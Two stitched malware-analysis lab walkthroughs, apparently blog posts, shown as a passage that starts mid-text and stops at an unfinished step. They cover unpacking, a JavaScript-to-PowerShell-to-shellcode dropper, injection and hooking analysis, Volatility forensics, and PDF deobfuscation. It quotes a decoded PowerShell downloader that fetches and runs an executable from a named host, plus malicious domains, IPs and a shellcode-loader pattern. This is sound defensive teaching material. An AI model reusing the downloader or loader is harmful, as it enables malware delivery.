If it drops or injects further payloads (like shellcode), can I extract and analyze those too?
After infection, what artifacts are left behind in memory that I can find forensically?

This walkthrough tackles that chain using three teaching specimens: a UPX-packed sample (brbbot.exe), a multi-technology dropper that chains JavaScript → PowerShell → shellcode (PDFXCview.exe), and a code-injecting, API-hooking sample analyzed both statically and via a memory image (great.exe / great.vmem).

Lab Setup

Two VMs, both reverted to clean snapshots before starting:

Windows analysis VM — tools used: PeStudio, Process Hacker, Process Monitor, ProcDOT, Scylla, x64dbg/x32dbg, OllyDumpEx, IDA, Regedit, Notepad++, PowerShell ISE, WinSCP
REMnux VM (Linux malware analysis distro) — tools used: pescanner.py, diec, strings, SpiderMonkey (js), base64dump.py, Volatility (vol.py)

Both VMs were on an isolated internal network segment so the Windows VM and REMnux VM could talk to each other (for file transfer and the JavaScript dropper's local web server) without any route to the internet.

Part 1: Identifying and Unpacking a UPX-Packed Sample

Step 1 — Confirm the file is packed

First pass: load the suspicious binary in PeStudio and check three things — imports, section names, and strings.

A packed file typically shows:

Fewer imports than you'd expect from a normal-sized executable (because the real import table is hidden until the unpacking stub runs)
Unusual section names — instead of the standard .text, .rdata, .data, you'll see something like UPX0 and UPX1
Fewer readable strings, since the actual strings are compressed/encoded until runtime

All three were true here, and the UPX naming convention in the section headers was a strong hint about which packer was used.

Step 2 — Confirm with entropy analysis

On REMnux, pescanner.py measures the entropy of each section. High entropy (close to random) is a hallmark of compressed or encrypted data:

pescanner.py brbbot.exe | more

The tool flagged sections as "SUSPICIOUS" — one for unusually high entropy (consistent with packed/compressed code), and one with an entropy of exactly 0 (because its raw size was 0 — also anomalous for a legitimate section).

Step 3 — Identify the packer

diec brbbot.exe

diec (Detect It Easy, command-line version) reported UPX as the most likely packer — confirming the hint from the section names.

Step 4 — Try the obvious thing first: just run the unpacker

upx -d %AppData%\brbbot.exe

This is always worth trying, but it commonly fails on malware, because authors deliberately corrupt the UPX header/footer to block the standard unpacker while leaving the actual UPX decompression stub intact:

CantUnpackException: file is possibly modified/hacked/protected; take care!

Since the automated route was blocked, the next move is manual dumping: let the malware unpack itself in memory at runtime, then dump that unpacked memory image to disk.

Step 5 — Disable ASLR so addresses stay predictable

setdllcharacteristics -d %AppData%\brbbot.exe

This flips the DYNAMIC_BASE flag in the PE header from 1 to 0. Without this, the binary would load at a randomized base address every run, which makes it harder to find a stable breakpoint address across debugging sessions.

Step 6 — Run it and dump it with Scylla

With the sample running (via a desktop shortcut set to "Run as administrator"), attach Scylla x64 to the process and click Dump. This grabs the in-memory, already-unpacked version of the code.

But a raw memory dump alone usually isn't runnable — the Import Address Table (IAT) is broken, because imports get resolved dynamically and the dump doesn't capture that resolution cleanly. So:

Click IAT Autosearch in Scylla
Click Get Imports
Click Fix Dump, pointing it at the dumped file

Scylla writes a new file with _SCY appended to the name (e.g., brbbot-dumped_SCY.exe) — this is the "fixed" version with a repaired import table.

Step 7 — Verify, but don't assume success

Loading the fixed dump back into PeStudio showed more imports than the packed original — a good sign. But running the fixed dump directly produced a different outcome than expected (it exited immediately, without dropping the configuration file the real malware drops). This is a useful and realistic lesson: successfully fixing the IAT doesn't guarantee a perfectly runnable standalone binary. Sometimes further reconstruction is needed. Don't take "it loads more imports now" as proof the unpacking job is fully done — verify behavior too.

Part 2: Manual Unpacking via Debugger (x64dbg + OllyDumpEx)

Scylla's automatic dump-and-fix approach doesn't always work cleanly, so it's worth knowing the manual debugger-based path too.

Step 1 — Find the jump to the Original Entry Point (OEP)

Load the packed binary in x64dbg. Scroll through the disassembly until the unpacking stub's instructions end and you hit a long run of zero bytes — that boundary is usually right where the final jump sits:

jmp brbbot.140003F94

That 140003F94 target address is the OEP — the address where the real, unpacked program logic begins.

Step 2 — Breakpoint right before the jump

Set a breakpoint on the JMP instruction, then run (F9). The process will execute all the unpacking logic and pause right at that breakpoint, immediately before transferring control to the unpacked code.

Step 3 — Step into the OEP

Step over the jump (F7 or F8) to land at the OEP — execution is now paused inside the unpacked code.

Step 4 — Confirm you're actually looking at unpacked code

Don't just trust the address — verify it. Right-click in the CPU view and run:

Search for → Current Region → String references — you should see far more readable strings than the packed version showed
Search for → Current Region → Intermodular calls — you should see real API call references that weren't visible before

Both showing up is good confirmation you're looking at genuinely unpacked code.

Step 5 — Dump with OllyDumpEx

From x64dbg's Plugins menu: OllyDumpEx → Dump process. Key details:

Use "Get EIP as OEP" so the dump records the correct entry point
Find the UPX1 section row and enable the MEM_WRITE characteristic flag before dumping (without write permission flagged, some dumpers won't capture the section properly)
Save the dump (e.g. brbbot_dump_64.exe)

Step 6 — Fix the IAT with the Scylla plugin (inside x64dbg)

Same logic as before — IAT Autosearch → Get Imports → Fix Dump, pointed at the OllyDumpEx output. Result: a _SCY-suffixed file with a repaired import table.

Part 3: Debugging Packed Code Directly (Finding Decryption Routines)

Sometimes you don't want to fully unpack a sample — you just want to watch a specific operation happen, like decryption of an embedded configuration.

Step 1 — Let it run and self-unpack

Run the packed binary in x64dbg with no breakpoints set (F9). It unpacks itself into memory and continues normally.

Step 2 — Find the unpacked region via Memory Map

In the Memory Map tab, look for memory regions that don't belong to a Windows DLL and have "E" (execute) in the Protection column. In this sample, two regions matched that profile — the unpacker code region and a second region holding the freshly unpacked code. Right-click the latter and choose Follow in Disassembler.

Step 3 — Search for interesting API calls

Right-click → Search for → Current Region → Intermodular calls, then filter the results by typing a keyword (e.g. Crypt) in the search box. This surfaced a call to CryptDecrypt — a strong signal that the malware decrypts an embedded configuration at runtime.

Step 4 — Breakpoint after the call, then restart cleanly

Select the instruction right after the CryptDecrypt call (the result-checking instruction), and set a hardware breakpoint on execution. Then restart the process (Ctrl+F2) and run again (F9).

Why restart rather than just continuing? Because the process may have already executed past this point once — restarting guarantees you hit the breakpoint fresh, from the actual entry point, so register/stack state is consistent with a real first-run analysis.

Once paused there, the decrypted configuration data is sitting in memory (commonly reachable via the stack) — ready for inspection, exactly like you would when analyzing the unpacked version of the same family of malware.

Part 4: Multi-Stage Dropper Analysis (JavaScript → PowerShell → Shellcode)

This is where things get more interesting: a single executable that chains together several different technologies to avoid writing an obviously malicious file to disk.

Step 1 — Infect while monitoring, then cut it off

Start Process Monitor capturing, then run the sample. Watch the process tree in Process Hacker: the initial process spawns mshta.exe and powershell.exe, then after roughly a minute or two, spawns a couple of regsvr32.exe processes. Once those appear, terminate the process tree and pause Process Monitor capture — you don't need to let it run indefinitely, you just need enough activity captured to reconstruct the chain.

Step 2 — Reconstruct the infection chain visually

Export the Process Monitor log as CSV, then load it into ProcDOT along with the initial malicious process. ProcDOT generates a visual graph of what touched what — registry keys created, files dropped, and a persistence entry added under the Run autostart key. It also revealed the malware created files with an unusual, randomly-generated extension and a batch file, plus matching registry entries describing how Windows should handle that custom file extension.

Step 3 — Find the "execute this when this file type opens" command

In Regedit, navigate to:

HKEY_CURRENT_USER\Software\Classes\.<random-extension>

The (Default) value there points to another key (a random-looking hex string), which under shell\open\command contains the actual command Windows runs. In this lab it looked roughly like:

"C:\WINDOWS\system32\mshta.exe" "javascript:...eval(IV2u4L)..."

This is a classic file-less technique: rather than dropping a .js file, the script content lives in a registry value, and mshta.exe is abused to execute inline JavaScript that reads and eval()s it.

Step 4 — Extract the script from the registry

reg_export HKCU\software\<random-key> <random-value> script.js

Step 5 — Move it to REMnux and deobfuscate

Transfer with WinSCP, then try SpiderMonkey directly:

js -f /usr/share/remnux/objects.js -f script.js

This threw an "illegal character" error — the script was UTF-16 encoded, which SpiderMonkey can't parse directly. Fix the encoding first:

strings --encoding=l script.js > script2.js

(-l here is lowercase L, not the number 1 — easy typo to make.)

Then deobfuscate properly:

js -f /usr/share/remnux/objects.js -f script2.js > script3.js
scite script3.js &

The deobfuscated script revealed a call resembling [Convert]::FromBase64String, with the decoded result handed off to powershell.exe — meaning the JavaScript's whole job was to decode and launch a Base64-encoded PowerShell stage.

Step 6 — Pull the Base64 PowerShell payload out

base64dump.py script3.js

This lists every candidate Base64 blob found, each with an ID. Look in the Decoded column for the largest entry that decodes into readable ASCII — that's almost always the real payload, as opposed to short incidental Base64-looking noise.

base64dump.py script3.js -s 10 -d > script.ps1

(-s 10 selects that specific entry's ID — yours will likely be a different number.)

Step 7 — Read the PowerShell, understand the shellcode loader pattern

Transfer script.ps1 back to Windows and open in Notepad++. The pattern here is a textbook shellcode loader:

A variable ($sc32) holds hex-encoded shellcode
VirtualAlloc allocates memory with PAGE_EXECUTE_READWRITE
The shellcode bytes are copied into that memory
CreateThread is called, pointing at the shellcode's address, to execute it

Recognizing this pattern is genuinely useful — it shows up constantly across unrelated malware families because it's the simplest way to run raw shellcode from a scripting language.

Step 8 — Extract the raw shellcode with a debugger breakpoint

powershell_ise script.ps1

Set a breakpoint on the line right after $sc32 is assigned (before $pr gets defined), run to it (Debug → Run/Continue), then once paused, dump the variable's contents to a raw binary file:

[io.file]::WriteAllBytes('sc32.bin',$sc32)

Now you have the raw shellcode isolated in its own file, ready for dedicated shellcode analysis tools.

Part 5: Shellcode Analysis and Unpacking

Step 1 — Quick emulation pass with scdbg

scdbg.exe -f sc32.bin

(Or via the GUI: load the file, leave default options, click Launch.) scdbg emulates the shellcode's likely API calls without actually executing it dangerously. Here it showed the code loading advapi32.dll and calling RegOpenKeyExA against both HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER — useful, but it didn't reveal which specific registry keys were targeted.

Step 2 — Run it for real (carefully) with jmp2it

jmp2it sc32.bin 0x0 pause

0x0 means the shellcode starts at offset zero in the file. The pause argument makes jmp2it insert an infinite loop before jumping into the shellcode, buying you time to attach a debugger before anything actually runs.

Step 3 — Attach a debugger and patch the entry condition

Attach x32dbg to the jmp2it process, run briefly, then pause — you'll land inside the infinite loop jmp2it created. The shellcode in this case expected a parameter (its own memory address) to be pushed onto the stack before it starts, mimicking how the PowerShell loader called it via CreateThread. Since jmp2it happens to store that address in the EDI register, you can satisfy that expectation by patching the infinite-loop instruction:

Select the loop instruction, press spacebar to open the Assemble dialog
Enable "Fill with NOPs"
Type the replacement instruction:

push edi

This single patched instruction is what lets the shellcode run as if it had been called the same way the original loader called it.

Step 4 — Trace API usage with a breakpoint

SetBPX advapi32.RegOpenKeyExA

Run (F9) to hit it, then check the Call Stack tab for the first frame that isn't inside a Windows DLL — that's the shellcode's own calling code. Following that call stack entry back into the disassembler showed, a short distance later, a call to VirtualAlloc — a strong hint that this shellcode unpacks another payload into memory, just like the outer executable did.

Step 5 — Dump the unpacked second-stage payload

Set a breakpoint on VirtualAlloc itself:

SetBPX VirtualAlloc

The pattern that emerged from hitting this breakpoint multiple times:

1st hit, after return: allocated memory is empty (all zeros)
2nd hit, after return: memory now has some content — code ran between calls and started populating it
3rd hit: the memory now contains strings consistent with a Windows executable (an actual embedded PE file)

Each time, right-clicking EAX (which holds the returned memory address) → Follow in Dump → Dump 1/Dump 2 lets you watch that specific memory region fill in over successive breakpoint hits.

Once the third allocation showed clear PE-file characteristics, right-click that dump pane → Follow in Memory Map, then right-click the corresponding row → Dump Memory to File. That gives you a final extracted executable, ready to load into PeStudio to confirm it's a structurally valid PE file with imports and strings.

Part 6: Code Injection Analysis (Static, with IDA)

Switching specimens here — a sample that injects code into other running processes.

Step 1 — Find the CreateRemoteThread call

In IDA, jump to the Imports tab and locate CreateRemoteThread. Double-click it, then in the disassembler view, select it and press x to bring up cross-references. This shows every place in the code that calls this function.

Step 2 — Trace backward from the call to find the source process handle

CreateRemoteThread takes a process handle (hProcess) as a parameter. Tracing that register backward through the disassembly led to a call to OpenProcess — the function that obtains a handle to an existing process by PID. This is the classic injection setup: get a handle to a target process, then create a thread inside it.

Step 3 — Find where the payload gets written into the target

A separate function call (visible just before the CreateRemoteThread call, taking the same process handle as a parameter) turned out to contain calls to WriteProcessMemory — the actual mechanism for placing code into another process's address space.

A useful shortcut here: rather than manually walking every function called from that one, IDA's View → Graphs → Xrefs from generates a call graph showing everything reachable from a given function. That graph surfaced exactly which sub-function calls VirtualAllocEx — the memory allocation step that has to happen in the target process before you can write to it.

Step 4 — Confirm the allocation permissions

At the VirtualAllocEx call site, the flProtect parameter being pushed was 0x40. Right-clicking that value in IDA and choosing "Use standard symbolic constant" reveals it as PAGE_EXECUTE_READWRITE — memory that can be written to and executed. That combination, allocated in someone else's process, is the textbook signature of code injection intent.

Step 5 — Find how the target process gets chosen

Walking back further up the call chain (using IDA's back-arrow navigation) led to a function that calls CreateToolhelp32Snapshot, which — combined with Process32FirstW/Process32NextW — is the standard Windows API trio for enumerating every running process. That's the malware searching for a suitable target before injecting into it.

Function called	Role in the injection chain
`CreateToolhelp32Snapshot` + `Process32FirstW/NextW`	Enumerate running processes to pick a target
`OpenProcess`	Get a handle to the chosen target process
`VirtualAllocEx`	Allocate executable+writable memory inside the target
`WriteProcessMemory`	Write the payload into that allocated memory
`CreateRemoteThread`	Start execution of the injected code

Part 7: API Hooking Analysis (Static, with IDA)

Same specimen, different capability: modifying other functions in memory so calls to them get redirected.

Step 1 — Find where it reads existing code (to back it up before overwriting)

Following cross-references to ReadProcessMemory (same Imports-tab → xrefs approach as before) led to a function that reads memory from a target process — almost always the first step before overwriting something, since you typically want to preserve the original bytes you're about to clobber.

Step 2 — Find where it writes the hook

The same function later calls WriteProcessMemory twice, with two different byte patterns:

One write starts with byte 0xE9 — the opcode for a relative JMP instruction
Another write starts with 0x68 (the start of a PUSH instruction), paired with a 0xC3 (RET) written five bytes later

The second pattern — PUSH followed by RET — is a sneakier alternative to a plain JMP for redirecting execution, since it doesn't look like an obvious jump instruction at a glance.

Step 3 — Find the table of targeted functions

Walking the call chain upward (xrefs again) eventually reaches a function that builds a table of function addresses — saving various API addresses into memory, one after another, to be passed as the list of functions to hook. The functions referenced there were largely browser-related, suggesting the malware's actual goal: intercepting and observing the victim's web browsing activity.

Part 8: Memory Forensics with Volatility

Final piece: instead of analyzing a live process or a static file, this works from a memory snapshot (.vmem) captured from an already-infected machine.

Step 1 — Identify the right profile

vol.py -f great.vmem kdbgscan | more

This suggests one or more candidate OS profiles. The first suggestion isn't guaranteed to be correct — try it, and if Volatility throws errors like "need base" or "No Base Address Space", that profile doesn't match and you move to the next candidate:

vol.py -f great.vmem --profile=Win10x86 pslist

Once a profile returns clean, readable process output instead of errors, lock it in for the rest of the session:

export VOLATILITY_PROFILE=Win10x86

pslist output itself is worth scanning closely here — a process with an unusual, non-standard-looking name stood out immediately as worth investigating further.

Step 2 — Pull command-line history and dump suspicious process memory

vol.py -f great.vmem cmdline | more

This surfaced a cmd.exe invocation running a batch file out of %Temp% with a randomized filename — code running from the Temp folder with a random name is a strong red flag on its own.

vol.py -f great.vmem memdump -p <PID> -D /tmp
strings /tmp/<PID>.dmp | grep -B3 -A3 <batch-filename>

The surrounding strings matched typical batch-file syntax — consistent with a self-deleting cleanup script (delete the dropped executable, then delete itself), a very common malware self-cleanup pattern.

Step 3 — Find injected code across the whole memory image

vol.py -f great.vmem malfind -D /tmp > malfind.txt
scite malfind.txt &

malfind scans the entire memory image for telltale signs of injected code (executable memory regions with suspicious characteristics, frequently starting with the MZ signature of a PE header) and dumps each one it finds. In this case it flagged several legitimate-looking processes — explorer.exe and a couple of others — as containing injected PE content, each at a different memory address. Several of the dumped files were exactly the same size, hinting they're likely the same payload injected repeatedly into different processes.

A quick static check on one of those dumped files with a couple of additional command-line tools (string extraction, automated triage) turned up the same suspicious indicators seen earlier — references to a known risky DLL associated with silent file downloads, and string patterns matching the cleanup batch file extracted earlier. That overlap is good corroborating evidence that this is the same malware family operating across multiple injected processes.

Step 4 — Confirm hooked functions with apihooks

vol.py -f great.vmem apihooks -p <PID> --skip-kernel > apihooks.txt

Scrolling past the IAT-based entries (commonly false positives) to the first Inline/Trampoline entry revealed a hooked ntdll.dll!LdrLoadDll, patched with the same PUSH/RET redirection technique identified earlier via static analysis — confirming that what was theorized from the binary alone is actually happening at runtime, in memory.

Step 5 — Connect the hook target back to an extracted dump

The hook redirected execution to a small address range. Using pslist again to find the virtual offset of the specific process being investigated let me narrow down, among all the files malfind had extracted, which one's address range actually encompassed that hook target — confirming exactly which extracted memory dump contains the code the hijacked function jumps into.

How to Verify Your Work

A checklist for confirming each major milestone in this kind of analysis:

[ ] Packed? Confirm via at least two independent signals (unusual section names + entropy, or + reduced imports/strings) before concluding a file is packed
[ ] Unpacked successfully? The dumped file should show more imports and strings than the packed version — but also try actually running it; a clean static profile doesn't guarantee a runnable binary
[ ] OEP correct? After jumping to a suspected OEP, confirm via string references and intermodular call references — both should increase noticeably compared to the packed view
[ ] Shellcode extracted correctly? Run it through an emulator (scdbg) first before live-running it, even in an isolated VM
[ ] Injection confirmed? Look for the full chain — process enumeration, handle acquisition, RWX memory allocation, memory write, remote thread creation — not just one piece in isolation
[ ] Hooking confirmed? Cross-check static findings (IDA) against live/memory evidence (Volatility's apihooks) when both are available
[ ] Memory artifacts make sense together? File sizes, address ranges, and process offsets from different Volatility plugins (malfind, apihooks, pslist) should agree with each other

What I Learned

A few things stuck with me after this session:

Automated unpackers fail more often than they succeed against real malware, because authors specifically anticipate and break them. Knowing the manual debugger-based path (find OEP → breakpoint → dump → fix IAT) isn't optional knowledge, it's the default expectation.
A successful technical unpack doesn't always mean a fully functional standalone binary. I had a moment where the "fixed" dump loaded better in PeStudio but still didn't run correctly — that gap between "looks unpacked" and "behaves correctly" is a distinction I won't forget.
Multi-stage droppers chain together completely different technology stacks specifically to break single-tool analysis. JavaScript → PowerShell → shellcode means no one tool sees the whole picture; you have to follow the thread through three completely different toolchains (SpiderMonkey, then Notepad++/PowerShell ISE, then a shellcode debugger).
The same low-level techniques (RWX memory, PUSH/RET redirection) show up again and again across unrelated samples. Once you've pattern-matched the code injection sequence once (enumerate → open → allocate → write → thread), you start recognizing it instantly elsewhere.
Static analysis and memory forensics genuinely complement each other. IDA told me what the code is capable of; Volatility told me that it actually did it, on a real infected system. Neither alone gives you the full confidence the combination does.

Common Mistakes

Mistake	Why It Happens	How to Avoid It
Assuming UPX (or any packer) can always be unpacked with the standard tool	Authors deliberately corrupt headers to break generic unpackers	Always have a manual debugger-based fallback ready
Forgetting to disable ASLR before debugging	Default behavior on modern Windows	Run `setdllcharacteristics -d` (or equivalent) before setting breakpoints by address
Trusting a dumped file just because PeStudio shows more imports	More imports indicates partial success, not full functional correctness	Actually try running the dumped/fixed binary, and watch for expected side effects (dropped files, registry changes)
Using `strings` without `--encoding=l` on UTF-16 obfuscated scripts	Many obfuscation toolkits output UTF-16 by default	If a deobfuscator throws an encoding/illegal-character error, check the source encoding first
Picking the wrong Base64 blob from a dump tool's output	Obfuscated scripts often contain several short, irrelevant Base64-looking strings	Sort by decoded size and check for actual readable ASCII content in the decode preview
Trying the first Volatility profile suggestion and giving up if it errors	`kdbgscan` often suggests multiple plausible profiles	Treat profile errors as informative, not blocking — try the next suggested profile
Treating IAT hook entries from `apihooks` as real hooks	IAT-style entries are common false positives in Volatility's hook detection	Specifically look for "Inline/Trampoline" hook type entries, which are far more reliable indicators
Analyzing shellcode by directly running it without emulating first	Skips a safe verification step	Run through `scdbg` (emulation) before live execution, even in an isolated VM

Conclusion

Going from "this file is packed" to "I understand exactly how it injects code, hooks APIs, and what it left behind in memory" took a genuinely long chain of tools and techniques — and that's honestly the most realistic takeaway here. Real malware analysis is rarely a single tool giving you a single clean answer. It's PeStudio pointing you toward a hypothesis, a debugger confirming it, IDA explaining the why, and Volatility proving it actually happened on a real system.

If you're working through similar material, my biggest piece of advice is: don't skip the verification steps. It's tempting to declare victory the moment a tool produces some output, but the real confidence comes from cross-checking — static findings against dynamic behavior, debugger observations against memory forensics, one tool's output against another's.

If you found this useful, I'm planning to keep documenting more of this kind of hands-on analysis work — let me know in the comments if there's a specific technique here you'd like a deeper dive into.

A Deep Dive into Malware Analysis: Deobfuscation, Shellcode Extraction, and Document Forensics

Khalif AL Mahmud — Fri, 26 Jun 2026 12:58:15 +0000

When most people think about malware analysis, they picture someone staring at assembly code for hours. And sure, that's part of it. But the reality is far more varied — and honestly, more interesting. A huge chunk of real-world malware analysis work happens at a layer above disassembly: extracting obfuscated scripts from documents, carving shellcode out of PDFs, reconstructing attack chains from network captures, and understanding how adversaries abuse everyday file formats like Word docs and Excel spreadsheets to deliver payloads.

I recently spent some serious hands-on time working through a range of malware samples across different formats — from compromised website traffic and obfuscated JavaScript to malicious PDFs, RTFs, and Office documents. The goal wasn't just to run tools blindly, but to understand the why behind each technique: why attackers choose certain obfuscation methods, why specific file formats are attractive delivery vehicles, and how analysts can peel back the layers to expose the underlying behavior.

This article walks through that entire journey — the tools, the commands, the thought process, and what I learned along the way.

The Problem Statement

Modern malware delivery is rarely a single executable anymore. Attackers have moved toward:

Compromised websites serving malicious scripts and exploit kits
Obfuscated JavaScript that hides payload delivery mechanisms
Malicious PDFs embedding JavaScript and shellcode
Office documents (.doc, .docm, .xlsx) with macros or embedded OLE objects
RTF files with embedded shellcode or exploit objects

Each of these presents a unique analysis challenge. The common thread? Everything is obfuscated, layered, and designed to evade static detection. As an analyst, your job is to strip away those layers without executing the malware in a live environment.

This article covers a full analysis pipeline across 15 exercises, organized into logical categories: network traffic analysis, script deobfuscation, PDF forensics, Office document analysis, and shellcode extraction.

Part 1: Analyzing Network Traffic to Reconstruct an Attack

The first part of the analysis starts with network artifacts. When a victim visits a compromised website, a lot happens behind the scenes — redirects, script injections, exploit kit delivery, and eventually payload retrieval. Capturing and analyzing that traffic is often the best way to understand the full infection chain.

Setting Up the Lab Environment

For this analysis, I used two virtual machines:

Windows REM Workstation — for Windows-based tools like Fiddler, Wireshark, and scdbg
REMnux — a Linux distro purpose-built for malware analysis

All samples were extracted to the appropriate directories on both systems before starting analysis.

Analyzing Traffic with Fiddler

Fiddler is a fantastic tool for inspecting HTTP/HTTPS traffic at the application layer. I loaded a saved session archive (session-fiddler.saz) to inspect the traffic from a compromised site.

# On Windows REM Workstation - open session-fiddler.saz in Fiddler
# (Double-click the file or use File > Load Archive)

Finding the compromise: The first request to www.hiltongardeninnoakville.com returned a 200 OK response. Decoding the response body revealed an injected script at the bottom of the page referencing my.GEORGETHORPEBOURBON.COM — a clear indicator of a compromised site serving malicious content.

Following the chain: The first request to my.georgethorpebourbon.com returned heavily obfuscated JavaScript. The next request returned a response starting with "CWS" — the signature of a Flash file. Further down, two requests for /default.jpg from 195.154.122.33 returned the word "default" instead of an actual image. Interestingly, these requests were made by a process named 963e.tmp rather than explorer.exe, suggesting the exploit had already triggered and dropped a payload.

Deep-Diving with Wireshark

For packet-level inspection, I loaded the same traffic in Wireshark (session.pcap).

# Display filter to isolate traffic from the suspicious IP
ip.addr == 195.154.122.33

The most interesting finding was the last HTTP POST request to /setting/get_setting.php. The request body contained two notable parameters:

key — potentially part of a key exchange protocol (suggesting ransomware behavior)
idn — likely a unique identifier for the infected system, used for decryption ransom demands

Extracting Files with CapTipper

CapTipper is a REMnux tool that automates file extraction from PCAP files — incredibly useful for pulling out payloads that were transferred during the attack.

# On REMnux
cd /opt/remnux-captipper
mkdir /tmp/out
./CapTipper.py -g -d /tmp/out ~/malware/day3/session.pcap

# List extracted files
ls /tmp/out

# Identify the Flash program
file /tmp/out/* | grep Flash

# The suspicious Flash file was found at: /tmp/out/70-index.php

CapTipper successfully carved out the Flash payload from the network traffic, which could then be analyzed further with tools like swfdump.

Part 2: Deobfuscating JavaScript — Three Different Approaches

JavaScript deobfuscation is a core skill for any malware analyst. I worked through three different scripts, each requiring a different technique.

Technique 1: Using the Internet Explorer Debugger

The file session.html contained obfuscated JavaScript that ultimately loaded a Flash exploit. The approach here was elegant in its simplicity: use the browser's own debugger to let the script do the deobfuscation work for you.

Step 1 — Beautify and inspect the script:

# Open session.html in Notepad++
# Plugins > JSTool > JSMin (remove extraneous components)
# Plugins > JSTool > JSFormat (reformat for readability)

After beautifying, I identified a function l that implemented the deobfuscation algorithm, ending with return r;. This was the perfect breakpoint location.

Step 2 — Revert and insert debugger statement:

// Revert to original, then add debugger; at the start of the second <script> tag:
<script>debugger;if /*sidgfdfdf81669kdfl*/((/*sidgf73056dfdfkdfl*/gffsd/*sidgfdfdfd40511fkdfl*/))/*xY2YtOTZi52952OC00NDQ*/{
    function ...

Step 3 — Debug in Internet Explorer:

Open the modified session.html in IE
Press F12 to open Developer Tools → Debugger tab
Reload the page and click "Allow blocked content"
The debugger pauses at the debugger; statement
Search for return r, right-click, and insert a breakpoint
Click Continue (Play button) to let the script run to the breakpoint
Switch to Console tab and type:

console.group(r)

The console displayed the fully deobfuscated script, which revealed an <object> tag loading a Flash program via clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 — confirming the behavioral analysis from Part 1.

Technique 2: Using SpiderMonkey for Headless Deobfuscation

For fgg.js, the obfuscation relied on location.href — something that only exists in a real browser context. SpiderMonkey is a JavaScript engine that runs scripts without a browser, but we need to provide the missing objects.

# First attempt — fails because 'location' is not defined
js -f fgg.js
# Error: "location is not defined"

# Second attempt — provide default object definitions
js -f /usr/share/remnux/objects.js -f fgg.js
# Runs but output is unreadable — wrong location.href value

# Fix: Copy and modify objects.js to set the correct URL
cp /usr/share/remnux/objects.js .
# Edit objects.js:
location = {
    href:"http://www.gitporg.com/cgi-bin/index.cgi?fgg"
}

# Execute with the corrected location
js -f objects.js -f fgg.js > fgg2.js
scite fgg2.js &

The deobfuscated fgg2.js revealed a malicious URL we hadn't seen before — demonstrating how providing the right environmental context can unlock hidden behavior in obfuscated scripts.

Technique 3: Using box-js for Environment Emulation

For contact_vcf.wsf, both SpiderMonkey and manual analysis fell short. This is where box-js shines — it's a full JavaScript environment emulator designed specifically for malware analysis.

# SpiderMonkey attempt — incomplete deobfuscation
js -f /usr/share/remnux/objects.js -f contact_vcf.wsf | more
# Error: "_87867t67t6gt is not defined"

# box-js — much more comprehensive
box-js contact_vcf.wsf | more

box-js not only deobfuscated the script but also created a contact_vcf.wsf.results directory with detailed analysis artifacts:

# Check extracted URLs
more contact_vcf.wsf.results/urls.json
# Found: http://sapanboon.com/ne7ptotr

# Examine downloaded files
file contact_vcf.wsf.results/* | more

# Analyze the PE executable that was downloaded
peframe contact_vcf.wsf.results/795* | more

Part 3: PDF Forensics — Extracting Embedded Threats

PDFs are a classic malware delivery vector. They can embed JavaScript, launch external programs, and hide shellcode in encoded streams. I analyzed several malicious PDFs using a systematic approach.

Analyzing ctk.pdf — Base64-Encoded PowerShell

The file ctk.pdf had an OpenAction dictionary designed to auto-launch a PowerShell command. The -EncodedCommand parameter was clearly Base64-encoded.

# Examine the PDF structure
scite ctk.pdf &

# Decode manually using base64 utility
base64 -d
# Paste the encoded string, press Enter, then Ctrl+D

# Output:
# PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command
# (New-Object System.Net.WebClient).DownloadFile('http://ncduganda.org/.css/awori.exe',
# $env:APPDATA\awori.exe); Start-Process ($env:APPDATA\awori.exe)

For a more automated approach:

# Identify all Base64 strings in the PDF
base64dump.py ctk.pdf

# Extract and decode the largest one (ID: 2)
base64dump.py ctk.pdf -s 2 -S

The decoded command was a classic downloader — grab an executable from a remote server, save it locally, and execute it.

Analyzing collab.pdf — JavaScript, Shellcode, and Exploits

This was a more complex PDF with multiple layers of obfuscation.

Step 1 — Initial assessment with pdfid.py:

pdfid.py collab.pdf
# Reports: /JavaScript present — high risk indicator

Step 2 — Locate JavaScript objects:

pdf-parser.py collab.pdf --search JavaScript | more
# Found objects: 1 0, 7 0, 12 0 (references to 10 0 and 13 0)

Step 3 — Extract and decode the stream:

pdf-parser.py collab.pdf --object 10
pdf-parser.py collab.pdf --object 13

# Save decoded stream from object 13
pdf-parser.py collab.pdf --object 13 --filter --raw -d collab.txt
scite collab.txt &

Step 4 — Fix and deobfuscate the JavaScript:
The script had a function defined through a misleading tuple assignment:

hyltlzyr=("kasg","vfys","zsjj","qtkj","zfch","tmxf","eits","ydcy","huzl","xovi","bhpe","lktc")[("rirh","msas","qxsf","mkva","xdax","goib","hsie","lzem","nkls","eval")];

This was just a convoluted way of setting hyltlzyr = eval. I simplified it:

hyltlzyr=eval;

Then ran it through SpiderMonkey:

js -f /usr/share/remnux/objects.js -f collab.txt > collab2.txt
scite collab2.txt &

Step 5 — Extract the shellcode:
The deobfuscated script contained a Unicode-encoded shellcode string. I used base64dump.py with the percent-Unicode (-e pu) encoding option:

# Locate the encoded shellcode
base64dump.py -e pu collab2.txt

# Extract and save the binary shellcode (ID: 1)
base64dump.py -e pu collab2.txt -s 1 -d > collab-out.bin

Step 6 — Emulate shellcode execution with scdbg:

# On Windows REM Workstation with scdbg:
# Load collab-out.bin, keep default settings, click Launch

The scdbg output revealed the shellcode calling URLDownloadToFileA to fetch an executable from 94.247.2.157, saving it as %Temp%\wJQs.exe, then launching it via WinExec.

Analyzing page.pdf — From Shellcode to Executable

The page.pdf file used XFA forms to embed JavaScript and shellcode — a technique commonly seen in exploit kits.

Step 1 — Initial scan:

pdfid.py page.pdf
peepdf.py -fl page.pdf
# Reports: AcroForm in object 3, XFA in object 2

Step 2 — Trace object references:

pdf-parser.py page.pdf --object 3  # Refers to object 2
pdf-parser.py page.pdf --object 2  # Refers to object 1
pdf-parser.py page.pdf --object 1  # Contains the stream

Step 3 — Extract and decode:

pdf-parser.py page.pdf --object 1 --filter --raw -d page.txt
scite page.txt &

The stream contained an XFA form with JavaScript defining a shellcode variable using \u Unicode encoding.

Step 4 — Extract shellcode:

# Locate backslash-Unicode encoded strings
base64dump.py page.txt -e bu

# Examine the largest string (ID: 3) — starts with \u9090 (NOP sled)
base64dump.py page.txt -e bu -s 3 -a | more

# Save as binary
base64dump.py page.txt -e bu -s 3 -d > page-out.bin

Step 5 — Convert shellcode to executable:

shellcode2exe.py page-out.bin
# Creates: page-out.exe

Step 6 — Behavioral confirmation with INetSim:
